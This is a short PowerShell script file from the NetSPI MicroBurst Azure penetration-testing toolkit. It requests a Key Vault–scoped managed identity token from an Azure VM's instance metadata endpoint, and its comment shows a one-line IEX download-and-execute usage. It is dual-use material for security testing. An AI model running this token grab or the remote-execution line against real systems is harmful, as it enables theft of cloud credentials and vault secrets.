Files
NetSPI-MicroBurst/Misc/Shortcuts/VirtualMachineManagedIdentity-Windows-vault.ps1
2023-02-14 14:06:55 -08:00

3 lines
455 B
PowerShell

# Usage - returns a Key Vault Scoped Managed Identity token for a Virtual Machine - IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Shortcuts/VirtualMachineManagedIdentity-vault.ps1")
(Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' -Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content